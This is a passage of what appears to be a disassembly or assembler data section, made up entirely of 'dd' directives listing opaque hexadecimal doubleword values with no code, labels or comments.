0A7A9774Fh dd 2A9404FBh, 0A20C4028h, 0AB50DDh, 558EF291h, 6461AFE9h dd 0A93D2E09h, 636C2E31h, 0F8AB38D0h, 2308BEEh, 0D75E64CDh dd 0F4503348h, 22786660h, 7CD24Ch, 8D24FA4Fh, 0D36F969h dd 0C6782971h, 2B4831FCh, 0B98C0170h, 45AD1056h, 0A48820h dd 5804B67Ch, 0F603FB7Bh, 3922BB04h, 98B0F75Dh, 0A68A0C82h dd 18403BE5h, 71DF9512h, 77048D7h, 0FDC7D84h, 61415AE5h dd 3865C340h, 1C00BA08h, 0B670E0B4h, 13D0B46h, 556A98CBh dd 0F0A50FD5h, 0C83EDBC9h, 6C5401DCh, 25E118CDh, 102FA842h dd 0B402AAF5h, 7C01A8F7h, 4CE4E13Eh, 52093422h, 0C42B815Bh dd 93691300h, 8096C950h, 0DDC0BF00h, 9A15D0Bh, 0EC9B619Fh dd 0EDA3E0A0h, 4D002490h, 48137B1Ah, 3826BA76h, 22835650h dd 0AF5298BCh, 391186A0h, 4FCEFF00h, 8ABD052Eh, 1A501C4Dh dd 9DB9C00Eh, 8746C3BFh, 0EA01C773h, 0F0B19991h, 4031D480h dd 241D3FE4h, 0B8DB07h, 0EE54F8B2h, 0B40013FCh, 0DFF21011h dd 1FEBF9h, 0DA7C0BB6h, 0EC821F7h, 81D31301h, 73ED5D96h dd 1F625A30h, 6EF1BE2Bh, 0A6BD07A4h, 1191E7B2h, 0E965DBE7h dd 208DCD1Eh, 0A53A153Ah, 202283FAh, 0A8B124F0h, 96A070h dd 1AB040Ah, 0BDCB0B09h, 0BCB05898h, 0CF873Ah, 166FD2C9h dd 0BA8B0604h, 1B550008h, 0B54D183Ah, 0F89251ACh, 911FD7E0h dd 649262Fh, 20B8A057h, 1F3D6B9h, 0CC9AC067h, 5058D8E4h dd 69A8EFC8h, 153BB202h, 0E0131A44h, 26527D88h, 80E44378h dd 8F19CAE0h, 0B200EDCDh, 0D151AD9Bh, 577176h, 2BA5107Ah dd 9E5311Bh, 0EBB00D00h, 6378C2FDh, 5A78DEh, 0C6586740h dd 13F05E98h, 1679E005h, 68D059B9h, 0EE60D6Fh, 0D055B3A8h dd 3441FD2h, 0BD6142DAh, 0F4BF03D0h, 3C5E521Ch, 2CB50903h dd 0C09283C4h, 4C384B42h, 290018E8h, 5607E62Dh, 1000AD0Dh dd 0C3E3D45Ah, 1E4EB672h, 0C39659EBh, 17ACBBA1h, 8FE5C90h dd 0C7193Ch, 3763BC30h, 9DD7B8h, 8A832232h, 94C0D372h dd 0C6694E1Dh, 0BAD271C0h, 3DC30438h, 57EEBD9h, 0A952224Ah dd 68C283C8h, 0A8892800h, 66305A13h, 3378007Bh, 39C24864h dd 0C1391CDAh, 344A80E6h, 749ED263h, 90404CAh, 8077D630h dd 0A6689125h, 0C45F0A00h, 1DA007F7h, 41A70567h, 7A2C29h dd 0EFAB13B7h, 190257F2h, 0B0A1A96h, 777460FBh, 5A9E2643h dd 3ED600DFh, 0B05717BFh, 8B550400h, 0B6667180h, 56B895h dd 630C4934h, 0B1E9C61h, 12FB900h, 3878B042h, 8CA67Bh dd 0B2A87D9h, 49A89889h, 241E7798h, 6140D48Eh, 0CEC68A6Ah dd 0CF1E006Dh, 8331204h, 0FC0F68E5h, 615A2FB8h, 0A386EA3Ch dd 6C49E8h, 5CC3CE20h, 9E257643h, 195F9D00h, 0D3574F3Ah dd 2FB0003Eh, 0CA3D659Ah, 540088F2h, 0F670A795h, 0EF0CCEh dd 5E09214Ch, 0C6B8A2C4h, 7207FCECh, 28C79BC2h, 0E1B019D7h dd 1F52ADh, 292BF16Bh, 4F95C88Ch, 49949000h, 6856884h dd 80D50089h, 2FDD360Dh, 0CD006905h, 0F7D15608h, 0D30F4Eh dd 1FEED0A5h, 0C7185788h, 0F534C300h, 5EA20942h, 5071C0C6h dd 96B02521h, 0B3EE9E98h, 0F306E48h, 0E6855B42h, 78118B92h dd 1F8E0043h, 36A06222h, 0E7003791h, 0FD70594Ah, 309A39C1h dd 95283F0Bh, 60C03306h, 0C4A384C7h, 0E4AB1B73h, 4AD0E914h dd 550C8533h, 0DE83DCFCh, 596E0240h, 9FB829ECh, 0C0219380h dd 5500AAD6h, 7F280CAh, 71A0596h, 31A3D774h, 0CE758006h dd 0D8000AC6h, 8D30BA62h, 2AF49529h, 0A38AA55h, 73534318h dd 0D423404Ch, 29006FEBh, 0C418CC2Bh, 1CFD866Eh, 80A6AF08h dd 0C6CD9D41h, 1F03DE25h, 8D6909A7h, 2770D856h, 76BF0061h dd 3F5E5F3Dh, 93007F0Fh, 115A642Ah, 0C8B8CFh, 8744FA9Fh dd 5F5E8E77h, 70A8E760h, 5CF91BBh, 1920B3DBh, 24820730h dd 278D7025h, 36EC5C2Fh, 8C79C439h, 0B034AFCEh, 57B41E46h dd 99EEF3h, 0C21F5E9Dh, 0BA0053D1h, 2B758F63h, 0FA0FCh dd 22800532h, 0DB3A2CDEh, 94B73C1Eh, 97FFF9C0h, 2C66852Bh dd 3DF037h, 0D8872E6h, 0A200243Eh, 9312DEEBh, 3792886h dd 72438B40h, 7CD0BE29h, 0E10E47F4h, 2082F339h, 0CC045AB9h dd 0FA3600EAh, 461EBDDBh, 9E00E68Fh, 50B5739Ch, 4AF15CDh dd 0BBA08EF1h, 742382DEh, 0DCFFBA80h, 1C00E912h, 32C602C7h dd 7F3BFDh, 524EEA63h, 0E7668829h, 0B16D5A00h, 0E34A7734h dd 0C2440047h, 3B870FAAh, 0AE374862h, 0BA8068B6h, 24F4BE7h dd 0FC9333DBh, 9C8027F2h, 0FBC1DEC9h, 0EE1FCF7Bh, 31400766h dd 8992993Dh, 0F3C23080h, 53E73B10h, 0F06A7400h, 2B934655h dd 0B554000Eh, 996C4B95h, 87122575h, 20432AF1h, 98E816A8h dd 75C1EE1h, 0B19C4818h, 7E14D2D0h, 70D6F461h, 45F82B07h dd 16516300h, 3FCA569Dh, 1F1B0EAh, 4E897519h, 0C08805D8h dd 82070A9Fh, 479E20CCh, 2CA79671h, 1C6DB520h, 9D4DC0C4h dd 455E80A4h, 0C3CAF9BFh, 0A8504FFCh, 0CF0064B0h, 0BDDD0F52h dd 4A8E1397h, 58F82Ah, 319C4E4Bh, 0C219D0h, 636E49EFh dd 931B4576h, 9ED5C00h, 8FD76F59h, 0D1331D91h, 0FA3C4296h dd 68C0F10Fh, 0AF019275h, 0DDE921DBh, 196077CBh, 0B0674920h dd 7ADEFA7Eh, 8E4D00E7h, 7E827659h, 97037077h, 0B8F909FFh dd 0DFAFB157h, 60B4DCh, 0EDA174EAh, 9E3C4117h, 0A9916400h dd 3108547Fh, 0C081504Fh dd 0A07BF8EFh, 0FB8F5BBCh, 69D6C600h, 86F46C00h, 600DD5A6h dd 7ED7E32h, 116AD461h, 639127B2h, 0C400E946h, 3DEB8414h dd 3EFCB405h, 9200E69Ch, 0D8FEBEDEh, 3605318Fh, 7DA21A9Bh dd 0A359DC00h, 1C4688E1h, 0EC3D260Ah, 0AE3500C0h, 1C142475h dd 51031577h, 0F30C43B6h, 0CCBFF021h, 73F7025Dh, 0CACE17F1h dd 0DD0EB068h, 709ABA01h, 0B26B07C8h, 9E5820h, 98AF634Eh dd 91082415h, 76235400h, 1C29C4ACh, 7BE28Eh, 96F0123Ah dd 0C26C7DBDh, 0C9FD8002h, 811FF8CBh, 0B93742D0h, 18E175C8h dd 0A80BE4F6h, 94007E7Ah, 7FA2C5DFh, 99480Eh, 0A2F0936h dd 4AD521C9h, 5CE81672h, 2D131216h, 0A2015900h, 75F640h dd 96DE8A33h, 0BEB66056h, 806BA63Ch, 0A9715AF7h, 2EA56D41h dd 838454h, 4AC47CAEh, 0EC07DD3Eh, 7BF89FE4h, 886C0BB0h dd 0CEE70125h, 0D5DC5F7h, 246DE9C2h, 0CD00C7A8h, 0EEC946B4h dd 16D83E67h, 5322285Dh, 3FE00118h, 0E8EA15B5h, 453FDFF0h dd 5A8300A4h, 0D1399D3Dh, 0FB2700E2h, 0DE2B7874h, 400D452h dd 7FF25BECh, 5C6DE0h, 87DCF050h, 620CFB7Dh, 4B06D4B0h dd 0A3A9BA83h, 43791FE8h, 16048030h, 0B7190236h, 0E426BE00h dd 2869AC01h, 709288h, 5B72E167h, 6CB3E3E7h, 3414F902h dd 0E0D91B61h, 9EA2DDh, 547B7F10h, 0D6DE0C1Ah, 711E1500h dd 0E6642B17h, 0CD4F0032h, 0A3524CC8h, 0D1149558h, 0C277D4h dd 57991714h, 24CD680Fh, 0E89CBBh, 44F17973h, 5A18FCA7h dd 7219FDCEh, 0C7D53B5Dh, 94788849h, 0D0137904h, 3F7CB9EFh dd 3892EB01h, 4A31F0D5h, 43B824h, 0D4BB03D3h, 110FAB4Bh dd 0C4018CEAh, 24F3E39Fh, 0E070F21Dh, 0AE3C0013h, 62BEDBA4h dd 6FC3835h, 1F4CF816h, 0AB660Bh, 77A976ABh, 3B2FC87h dd 4D04E292h, 289B9B19h, 660283B0h, 320A4C00h, 0E87DB7D0h dd 429A583Dh, 0C16DB100h, 2C01BA0h, 67D44F07h, 0FA12B0D7h dd 516360CDh, 0AD9D0003h, 0C15D802Dh, 9658626Fh, 1F74006Ch dd 838BB14Ah, 0A2610192h, 78161737h, 0B3A8403Ch, 0AB1D6C31h dd 6AE443FCh, 696A0500h, 99B51C8h, 0C0FB730Bh, 85F90481h dd 0AD21D094h, 628E6300h, 0CD6B6EC3h, 6D06079Fh, 40517CA9h dd 2B0F44F3h, 0DD02DF00h, 8189D7B4h, 0F1E50013h, 35EAC0Eh dd 0A8000984h, 43688C66h, 0C80421h, 0D9A2B281h, 0D61E6439h dd 341BB900h, 0C4D025EBh, 189ACEh, 12813916h, 706B80C1h dd 82D3C00Eh, 0C7EAE041h, 0FA1ECAD1h, 640159B6h, 0AA459200h dd 0C0DD63A2h, 0F6D28C03h, 0D8075C29h, 436773h, 66D876FEh dd 5F6B62F2h, 9895E324h, 0CA1D0280h, 222AEBh, 940838FCh dd 0AD6E59F2h, 0E5ABA517h, 9D96A021h, 0C1E14475h, 29B0670h dd 1FF52CC3h, 30504C50h, 4101C6Eh, 0C0F1931h, 44E85C00h dd 2702A1ADh, 7B473D9Ah, 84105384h, 0A573FCh, 0AE252B50h dd 9F5406BEh, 49FDBFF7h, 95A7C20Ah, 0AB1C1C13h, 0B00650A8h dd 0B36C546Eh, 0AD580638h, 282527AAh, 151E2810h, 0CD00C688h dd 18515D2Eh, 8D7F0BD4h, 0F00015DDh, 4230EE94h, 4BB21D0Fh dd 6C0821C4h, 0ACC5EB05h, 0D43BE0C3h, 77737CECh, 265F0013h dd 5CE0E51Ch, 0D1169B76h, 7E007902h, 42A21B62h, 38EE6Eh dd 8DE16A68h, 48E95ED0h, 5969BD1Ch, 0E07A81CEh, 175D1D03h dd 5C43004Dh, 58CD29A7h, 9900310Ch, 0DC76A327h, 852C1Dh dd 4454392Bh, 346F0BE8h, 870004A7h, 0B333D1CCh, 196C60F3h dd 3FAF7E4Fh, 4C6FB203h, 3067EA07h, 0F0214408h, 0D53AAF86h dd 0E31A0002h, 0CD6453B6h, 81A90067h, 1D25BB5h, 900A67Eh dd 346EDD76h, 7CEC1191h, 894300B0h, 4297E845h, 4CC35F84h dd 3807791Ch, 6808590h, 0B6080AA4h, 0CD0012D0h, 0EEEB4583h dd 1B6F7B04h, 203C6E9Dh, 0E873D8B1h, 20A71BFCh, 0CFB22508h dd 80803C0Ah, 9815B7CBh, 83E6FC49h, 958E8D00h, 20ADF91Eh dd 8C52501Ah, 7C048C5Dh, 7FB241AFh, 2A254062h, 0B9C17683h dd 0D8A441F1h, 0B4227Ch, 8CBA940Ah, 0CDBFD035h, 69F0C100h dd 64C4D446h, 36DBA05Fh, 1A68017Eh, 0BD99AAE5h, 94A44040h dd 7140DDA6h, 0B1506AFh, 59A5A838h, 0F918A278h, 4811EF4Bh dd 7AAC0175h, 27437885h, 833E76Dh, 0C82A217Eh, 511F0ACh dd 29AA03C7h, 8688412Fh, 814FF4BEh, 12EB2768h, 0F235E3h dd 6D55C9A9h, 288690C0h, 62B1D1AAh, 38F3106Eh, 6F9180A0h dd 94004ABAh, 907F6011h, 0EE4E578Dh, 0D52400D2h, 7A46A67Bh dd 0A839A101h, 53BD806Ah, 0D1A7910Eh, 50346145h, 0CC74F258h dd 2E60526Eh, 41DDDE81h, 4E0C3F54h, 0B091EB80h, 0BCCB1139h dd 83EE71EDh, 5181F6B9h, 4A482831h, 2B146E0h, 0B23DAF90h dd 104631DFh, 0AF782Eh, 0C1DA268h, 388BF0B4h, 0D3FA0477h dd 340F1703h, 1B32C5D1h, 3931F460h, 0E8E6B1A1h, 9601A252h dd 8DAD1408h, 218063F3h, 0BF3EAB2Bh, 822A2E0Fh, 6D0AB8FEh dd 0CC194C08h, 3958ADh, 74EFD71Ah, 851B1305h, 6C619007h dd 297C4CFFh, 924400F4h, 50B68B5Fh, 0CA0017B0h, 1D0506B7h dd 2CA7A3h, 0FA846327h, 0E8AA0108h, 8936F430h, 50B02976h dd 7A8E12Ah, 0F7EB4BCh, 39ACD6EEh, 0F9875601h, 0C832E07h dd 0EF12A987h, 2B05483Fh, 0C040A9Bh, 5B4133E9h, 433DA9D1h dd 95C1658Ch, 2B744020h, 8901F206h, 0EC87EB94h, 898238Ch dd 0FE482138h, 77D2F200h, 0C5992A0Fh, 87C913Eh, 5101799Dh dd 0DB598C88h, 282B5CD0h, 0C44852Eh, 4CD4EE26h, 1AC29929h dd 4D0821D9h, 77E0E000h, 3100B15Dh, 72802B14h, 0AB3E7h dd 33AA0DA7h, 0E8CA7FE2h, 2F577910h, 8B146F00h, 0BCAC05BEh dd 0B1632815h, 215533A8h, 8D12FF76h, 0C2506098h, 0B40D8029h dd 2EFD2609h, 6E5C1805h, 0C9AC07FAh, 80D14C61h, 0DC66D775h dd 0AABD8600h, 87138C3Fh, 39A10307h, 0EAB8653Eh, 680950B6h dd 803ACDB5h, 5F8688B0h, 7C84121Ah, 80C51CD4h, 0E59254EEh dd 0D8015B6Eh, 81AA0FE1h, 78874BC5h, 81C00A24h, 0E0482A77h dd 5F6FA012h, 601EB0h, 2BA264B4h, 0B8EB5ED1h, 6C1E0CA0h dd 50C42D4Ch, 486AEDC0h, 0CA4020B8h, 0A21F80EEh, 3C64D0h dd 6228D656h, 0AED84F7Fh, 1488961h, 0CAC6A9B2h, 0A4744920h dd 48CFD0Ch, 857EAC41h, 20496298h, 0D0AC794Eh, 8AAAB100h dd 0F8D7D5DEh, 7BBB2838h, 42DD02E4h, 4E75A8B4h, 8D859881h dd 3CC518Ah, 7D906392h, 18289A30h, 88EDAA38h, 8F488610h dd 17A2304h, 0AC08BE88h, 89431894h, 5D3C7073h, 0C908DE05h dd 688115B4h, 2B103DB2h, 1C9ADA81h, 3B46903h, 14F285CEh dd 38C9FD99h, 5B8C3AACh, 24EAC46h, 0F1D5894Ah, 20C4A030h dd 9525BC4h, 6D63B2C6h, 282E4800h, 0AE1C7A6Fh, 209661A1h dd 0C2E8AC43h, 0F1E5991Fh, 3002832h, 0D5A741EBh, 720054CFh dd 5291597Eh, 4D683C0h, 892EB553h, 0F3F89186h, 0EB398033h dd 0F86F62E1h, 928E0063h, 0D3EAF522h, 9400DE4Ch, 3545CC53h dd 0DD41525Fh, 0C6003FC9h, 19025C87h, 80014D86h, 0BE96436Dh dd 5671C459h, 34A76FECh, 17191D8h, 34B066A0h, 217ECDB6h dd 2542640h, 61B84C6Dh, 0B2004129h, 87069026h, 286FC1F1h dd 7846F8A4h, 6BEB601h, 0C27A4ACh, 0E4858950h, 1800E2BEh dd 1D75A553h, 2B9D0BFh, 0A94ED2C3h, 4448A056h, 0EF39BB3Fh dd 0B69006E9h, 26A8707Ch, 41708E2Bh, 0A48D9E5Ch, 0BA83D019h dd 8B45D6E5h, 88F7A384h dd 0B9BCEA49h, 1842D1E4h, 43BE012Fh, 0C9DE5B03h, 9FF06EECh dd 0CC70C07Dh, 0DB524F63h, 43586D01h, 0E8F48916h, 30FE4421h dd 43ABEB4h, 228856ACh, 75FE23Ch, 462069BEh, 99ACD073h dd 14981C35h, 0D59EE20Ch, 8482F962h, 1020BEE4h, 885426ECh dd 1B640148h, 0D151AADAh, 3283291h, 0B7D3B4A2h, 0FBEBE131h dd 305F8442h, 8313AF7Ah, 0FC388FB2h, 0AF82122Ch, 3E50077Fh dd 0F695C003h, 0A70D895Ch, 0A811B5A9h, 8C846C30h, 0B0F20704h dd 37622394h, 0BF60101h, 3C9ECAC4h, 0B6004D99h, 7574C81Ah dd 6E001D7Ah, 0E342C280h, 47F1B3h, 0F498C53Ah, 1A523FBDh dd 9A88F501h, 9BCF2ACAh, 610409Dh, 11A9C99Fh, 0BF1D600h dd 0A0273F5Fh, 0D7373305h, 2100E008h, 500B09F4h, 248DBC8h dd 471A6236h, 1420B686h, 1F27D40h, 0AA0C9485h, 0F04CBBD2h dd 58E82516h, 0B9989E37h, 0E846A9C1h, 1BA5F8C8h, 8801EB2h dd 0DA3F21AEh, 50540091h, 0CF3F7776h, 8D683893h, 0B940CB00h dd 0B6E8654Eh, 16C1CC0Ch, 146C80B4h, 80532680h, 44CE9800h dd 865E7DE2h, 0FE00727Ah, 4C84C76Eh, 1826108Fh, 0B9BECCE0h dd 0D6000872h, 0F778EB1Dh, 475AEh, 0FE426440h, 9B64B4Ch dd 0E9C006EEh, 9758ECA1h, 0B743066Ch, 8F38440h, 0A7219E60h dd 7D675824h, 27FC76h, 9DF7DA55h, 721A315Fh, 9A9C7400h dd 427B3F6Fh, 0BAAA28C5h, 0EB64690h, 482E4693h, 47C7C4A8h dd 0C9E29BD8h, 0E3FC619Eh, 306EE880h, 0B3CCDA91h, 0BA101CC6h dd 92574818h, 0F8E98F14h, 0F201AE23h, 1F3F600Bh, 0F388AA18h dd 0B60B000Ah, 7717F5C6h, 0B0020831h, 7D32DFDEh, 622840F1h dd 44F9C0ECh, 6648537Fh, 78CB1701h, 0A58429F5h, 300EA042h dd 9211582Fh, 9C88FB6Ch, 5827C480h, 75DEB82Bh, 0BFD20614h dd 7006151Ah, 0DCEA0C00h, 0BD4FE7F8h, 88435046h, 8144189Bh dd 680B9B0h, 136A8300h, 14058C84h, 2A6F7C26h, 0A0CB9Fh dd 1E99313Bh, 96BAB30Dh, 0A84CD600h, 52FA305Ah, 0C1400351h dd 5EA667F7h, 10DC023h, 6C935820h, 20FA1923h, 0D65818C3h dd 5650E902h, 847435B0h, 9808EDC0h, 5E0BF0C0h, 77EF463Fh dd 8E988h, 0D40EC0Bh, 0E6738BA1h, 0E15CC114h, 84AD88F8h dd 5F383140h, 9CC8A710h, 620BFCC0h, 380F523Fh, 0BF4F580h dd 8E022E06h, 0CC3DDB18h, 817C80C5h, 995AEA5h, 41F66396h dd 0D942B400h, 9480AD44h, 0BDEA303Bh, 3FFE4E18h, 9DAB8609h dd 1B0C80B4h, 30CC675Bh, 6C51E7C0h, 49C1AA28h, 0EE5CCE9Ch dd 0F230C107h, 640405BEh, 490FDA34h, 0AD5379C3h, 842E5000h dd 0F724B703h, 0BBFF50E0h, 0EB9901F8h, 0EE6A8DE8h, 0E318208Bh dd 0A3230109h, 2D142048h, 7F2695Fh, 97D24DC5h, 52085CCAh dd 589E21C0h, 71D6269h, 0B9CDA99Ch, 47A6226Eh, 9873AE20h dd 33454C64h, 0F6971000h, 58AA18A8h, 0EC8B8D24h, 35CBB606h dd 0CC4D4C31h, 0C003DA22h, 2332F20Dh, 4620064Ch, 0E0EF54D1h dd 6683020Dh, 820284Ah, 951C8CB4h, 0C3BCEC46h, 0C19DDE84h dd 8051A398h, 0C9070579h, 1E958D40h, 0C13AF9B7h, 0FCF57C0Ah dd 0CEBAE4B8h, 644E710Ch, 282EA9F1h, 7284E314h, 1E540F2Ah dd 0B840112Dh, 477C3A0Ch, 93AD310Bh, 6228025Bh, 187400A4h dd 0BCA0C0E0h, 0C4D408Ah, 3F0BC98h, 0F7BA5C83h, 0C7FC9F2Fh dd 0EBB182F4h, 86452A00h, 559A2848h, 0F19B0090h, 0C308269Ch dd 0E22A8F41h, 0C110A840h, 7002A8D8h, 0E53BFE28h, 0E5183041h dd 34E2CE2Eh, 420134A0h, 0B6299DB4h, 0E8CF208Eh, 649DC93Dh dd 0E980AF11h, 9C8D4BE8h, 0A100CFFCh, 0CD9A51B2h, 0E6C3F2D7h dd 0C05B0631h, 39C49F41h, 92A53C00h, 3EE303A9h, 47F6128Ch dd 30E4206Bh, 4412CA59h, 24012AF1h, 99351AF9h, 9637C840h dd 0EC28C0ABh, 0E62D3E33h, 2BAC0C9h, 530ED0h, 0B98475F5h dd 0F7956300h, 0DC3146F3h, 0BF8DFB6h, 6100D269h, 416150A8h dd 0CDDF4E00h, 371E27D3h, 52B10CB7h, 9B70879Ah, 0F1EE3901h dd 9E3DC0CEh, 494B06E0h, 0FC00E04Ah, 2723CCCDh, 1402C518h dd 3757A253h, 7BE5805Eh, 0D9C3D7h, 0BDECCFCh, 47749C8Ah dd 7C718E00h, 5D52FBAh, 56D40336h, 5BB364A9h, 0ACDB3DA0h dd 31014270h, 0D771E5D9h, 8985D01h, 4D1721A3h, 0CE07D6E0h dd 827F4E95h, 2D7086E0h, 0BD3B012Ch, 0B3BAEC5Dh, 0D1C26173h dd 0C8398057h, 3ECA83E4h, 55D03F23h, 30207018h, 577CD46Eh dd 0D7DF9D04h, 9819FB98h, 0E043184Fh, 4DD92364h, 1E1C8911h dd 672D004Ah, 1A4C8DC4h, 83C2EF0Ch, 7A16888Ch, 70086DDDh dd 0F262F031h, 20A51332h, 1244C18Ah, 0B3442080h, 0DC40B152h dd 0FE8D271Ah, 11481798h, 7894808Ah, 18DA4F93h, 0F16E0C45h dd 0FF78DB57h, 0BED40600h, 0D31AB89Ch, 71DD00EDh, 80C73A2Ch dd 0C300AF4Dh, 9074EE03h, 88CCAAh, 0CE625FB4h, 652B3A37h dd 0FA37F38h, 4027AC3Dh, 0EF8B295Ch, 258A0061h, 4F4DF934h dd 91009B32h, 78B2D844h, 1B0CEAh, 0F8BFB58Dh, 1CB6FB6Dh dd 0FC3E7500h, 971ECDF0h, 38CA1774h, 63B40065h, 71AD2C55h dd 5F0027F6h, 3A5BC9ABh, 1C880F01h, 0C7FDB7C0h, 1FC7C47Fh dd 0B0596F60h, 9A03B506h, 3FA1962Fh, 5275B0A5h, 2CDB0171h dd 9E88F91Ch, 9333D474h, 0A3101100h, 66E9B2FAh, 64A75803h dd 98FF618h, 20C31197h, 0F06620D2h, 7625C721h, 3DF500BCh dd 0A6E458FBh, 100012FAh, 0DA51D003h, 19CEE73Ch, 8B72405h dd 0F9218049h, 29FE51F8h, 1607373Eh, 0B6EDC058h, 0AE013779h dd 70026319h, 0F3CFA2h, 0EC8B7299h, 87996F1Bh, 8442560Ch dd 1B851A4h, 33D202CAh, 106107CDh, 39EB6641h, 0D68053BFh dd 9BBBA6A1h, 69074397h, 0A2D4C706h, 2D7172D0h, 1453E03h dd 393A0981h, 873F9362h, 92D0B179h, 0C20F5770h, 6BBB0051h dd 5C7847E7h, 0FD0025F5h, 5A0544EEh, 0A56FF99h, 92DA1C89h dd 66DC60A8h, 7846A7DEh, 0ED03B322h, 0E33266D7h, 0E2B890FCh dd 0F65B026Ah, 81F1E1Ah, 9441A300h, 0F9D9C60Bh, 20F4F9B9h dd 0E00C8500h, 237C724Ah, 0F45A0066h, 76D77844h, 0E80C0E03h dd 49FB5B71h, 6D8F02DFh, 5079132h, 80D1DC8Fh, 3CDD51DFh dd 10EF8CEFh, 0F5107C8h, 133ACA21h, 0E08019E9h, 287AA226h dd 6239D4A4h, 710F751Eh, 3517543h, 0C02A60ABh, 0C04693ECh dd 15F36829h, 0B20374C6h, 4291288Ah, 3D40CF3Ah, 61FC4310h dd 70AEF805h, 20A212A4h, 0FD8724D8h, 3E817601h, 4599ECB6h dd 71611CE0h, 72433793h, 59977078h, 1B003371h, 70D9E9FFh dd 0C44C184h, 0F3F9728Ah, 0C800CC51h, 653C7D6Fh, 0F44BA8Fh dd 5591CA54h, 3C3E004h, 97F9FAh, 0F8D37931h, 0B7A2B0DCh dd 9CA7A900h, 0F52EBB28h, 0C8FA017Dh, 44824F84h, 0F884FE18h dd 0D8B4820Ah, 1066DA30h, 0E0E8A704h, 3C66D5EBh, 0FF807EF9h dd 4370D3BCh, 83224560h, 6A442CA3h, 77A60025h, 0FCC5B91Bh dd 0C03468C8h, 0A7F866E6h, 0E040C848h, 2C6621CFh, 8348C3h dd 0E30D5937h, 1E124BEBh, 40214F71h, 0F13029Ch, 752888E4h dd 4988331Fh, 3EA2BCFh, 30ACBh, 3D8CB029h, 56DF9957h, 0C7912B19h dd 21802808h, 0D93A34D1h, 4706C692h, 268B96CEh, 23546C0h dd 0A70566DBh, 10B631D0h, 2C66D2DCh, 265E4E3Eh, 7A9D0EDBh dd 6938070Eh, 0EC048658h, 3D9FABEEh, 197C86h, 0E8CA9094h dd 0DB9C1E47h, 8A044E1h, 4393B9B0h, 1A813800h, 3ED4A718h dd 2118152Bh dd 5AA3215Bh, 8C438400h, 87A40673h, 8EE667Bh, 0BB002145h dd 0F27443FFh, 74E0E77h, 0B8947D07h, 89185605h, 37454800h dd 2D538CF2h, 88B005Bh, 88E3B524h, 452C041h, 0F83C11BCh dd 1C68630Fh, 0D58A148Fh, 1C134A48h, 0A0A6CA30h, 0B744BD48h dd 1015B76h, 0AD4A4FCCh, 9FFD45BFh, 72A24189h, 8AE3E413h dd 0AB22797Ch, 0C43885FBh, 26106738h, 0C9E8925h, 3384453Ah dd 7509EB51h, 9FD95ABh, 77F80220h, 0D2F7200Fh, 750A311Eh dd 40AB5C71h, 3871C0A1h, 1D026A18h, 0CEA2FB47h, 71C48CCh dd 85E1C30Dh, 0BDC8E870h, 65079544h, 0A2C9296Bh, 40341E52h dd 86928948h, 0D166DF04h, 9B6270A7h, 0B880E824h, 60F83E1Ch dd 1F8EA98Ah, 0E3248968h, 0BC18EAEFh, 44F719h, 0BEEC8AFEh dd 1B355DD3h, 98D11499h, 0CF063618h, 0C168A2E8h, 8D451819h dd 0F35C69A0h, 4A1988A8h, 5E0E2101h, 9F39D6EFh, 9DA21833h dd 0C351330h, 40901AEEh, 3200F939h, 0BEB6ACC9h, 56CC1E2h dd 0F44AC46Eh, 0D1408C59h, 9D44A8A7h, 36877360h, 20460092h dd 8B435702h, 3931EE73h, 4302BA10h, 0C1B28E09h, 0A9E807D2h dd 4540EB87h, 1018093Fh, 58A31F3Ah, 46596088h, 1364345Fh dd 8DD72AEh, 30C0076Ch, 0B899733Ah, 916C910Bh, 0D8C50214h dd 0C1FC093Ah, 0D0170F8Ch, 3318208Dh, 6488F829h, 0D4194571h dd 31004756h, 0DD391F0Fh, 0DB4573A2h, 8100A261h, 0ED9D6709h dd 1DC1A5Bh, 526483B1h, 85F4F98Ch, 29198071h, 0AEB70CC0h dd 7F99003Bh, 0E1ACD0Fh, 0F01415FBh, 3C2C2893h, 876000D3h dd 4564FEDCh, 8ABCB996h, 41A03767h, 2363FE89h, 309BA228h dd 7C006E47h, 0DB5A0633h, 146FF5A9h, 9811788Dh, 28C46FCh dd 92C33F66h, 78E2DDF9h, 4BE454E5h, 94F32E60h, 431B6A13h dd 3B0F0E03h, 93692947h, 52F200C0h, 8F97DCB4h, 19021D1Eh dd 73D65440h, 0F10AD33h, 0FDEB57C9h, 0F8A37642h, 4104284Ch dd 3799703Ah, 8900D638h, 4D7C963Dh, 0F9D5BE2h, 71786AEAh dd 0ABDCD443h, 0F802D810h, 8851DFDDh, 0E370B73Ch, 0A05101CAh dd 4D99EEC9h, 1CC738Fh, 5E8E2320h, 89D45B5Ch, 0B77B019Fh dd 0A37933E7h, 8B5C48CAh, 995A3D1Ah, 1B5C24B0h, 3A33D040h dd 0CB0352C6h, 0D6658CA4h, 2371EBAEh, 8438FFB0h, 0F3CE951h dd 0E420F062h, 5051CBh, 8E42D9A8h, 41AA0B9Bh, 276093FEh dd 0D4E1C8B9h, 339C02C7h, 0DDE60A74h, 0AD704C5Bh, 0FFE0252h dd 74F2E7C4h, 9971E851h, 0DF005D18h, 1C47CB16h, 0B188C665h dd 0C5263Ch, 79D9ABF9h, 0F6122FFEh, 5BC01A4Ch, 12E7A1EBh dd 400B5CC3h, 5116FE30h, 4E1F54B3h, 5640221Fh, 96CC8E99h dd 2D30928h, 78681907h, 210047FEh, 4962538Bh, 63A7054h dd 75A2F516h, 4518C12Ah, 43F1A585h, 8B160418h, 0B49C4E63h dd 39300F30h, 927181F4h, 327C20h, 44C75C8Fh, 7BD91F56h dd 0D3E96902h, 232EAA41h, 6DE05D8Bh, 0F66F5CBEh, 0E1066141h dd 20C01769h, 0A0701DD9h, 1F7505DFh, 501440E6h, 2B8DE980h dd 8B773F01h, 7E5A8F62h, 3CA4EDCh, 0FF099A2h, 3101FD0Ah dd 0EC8B5C75h, 0E872A741h, 0E33CC800h, 71432611h, 733F0638h dd 34D36F2Ah, 68604100h, 1458BBF0h, 72CD2632h, 405026A7h dd 6E6A8F08h, 0D46F6B01h, 28CA5E24h, 0F392DFF0h, 8554EE0h dd 9E9043F7h, 1E80AF80h, 0A0BDBh, 0FCF97A34h, 0C06E6849h dd 52178307h, 6F47570Ch, 0BC439DD5h, 0D8797551h, 49E045h dd 88E8BC62h, 71F49591h, 4C00ABE4h, 7AE1B390h, 2AA25821h dd 5E02E7Ch, 5081C988h, 7398C1F7h, 68C01411h, 133D4E62h dd 909044F5h, 8B5CB60h, 25142807h, 18D06507h, 71887FD0h dd 0F73427E2h, 95D02813h, 0F6091D1Eh, 4A99454Dh, 24D80000h dd 1C317A0Fh, 0ECB18B88h, 258D4010h, 680192B2h, 